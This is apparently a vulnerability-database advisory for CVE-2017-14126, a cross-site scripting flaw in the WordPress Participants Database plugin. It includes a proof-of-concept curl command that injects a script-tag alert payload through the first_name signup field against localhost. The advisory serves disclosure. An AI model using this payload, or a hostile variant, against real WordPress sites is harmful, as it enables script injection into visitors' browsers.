Lucene search
Benjamin LimWPEX-ID:C7178CA5-4AB8-4234-92B7-6BCF4EE82BF9HistorySep 06, 2017 - 12:00 a.m.
Participants Database <= 1.7.5.9 - Cross-Site Scripting
2017-09-0600:00:00
Benjamin Lim
16
EPSS
0.002
Percentile
61.3%
Cross site scripting (XSS) vulnerability in the Wordpress Participants Database plugin 1.7.59 allows attackers to inject arbitrary javascript via the Name parameter.
curl -k -F action=signup -F subsource=participants-database -F
shortcode_page=/?page_id=1 -F thanks_page=/?page_id=1 -F instance_index=2
-F pdb_data_keys=1.2.9.10 -F session_hash=0123456789 -F
first_name=<script>alert("1");</script> -F last_name=a -F [email protected] -F
mailing_list=No -F submit_button=Submit http://localhost/?page_id=1Related
nvd
nvd
CVE-2017-14126
2017-09-04 20:29:00
cvelist
cvelist
CVE-2017-14126
2017-09-04 20:00:00
wpvulndb
wpvulndb
Participants Database <= 1.7.5.9 - Cross-Site Scripting
2017-09-06 00:00:00
prion
prion
Cross site scripting
2017-09-04 20:29:00
patchstack
patchstack
exploitpack
exploitpack
WordPress Plugin Participants Database 1.7.5.10 - Cross-Site Scripting
2017-09-01 00:00:00
zdt
zdt
cve
cve
CVE-2017-14126
2017-09-04 20:29:00
exploitdb
exploitdb
WordPress Plugin Participants Database < 1.7.5.10 - Cross-Site Scripting
2017-09-01 00:00:00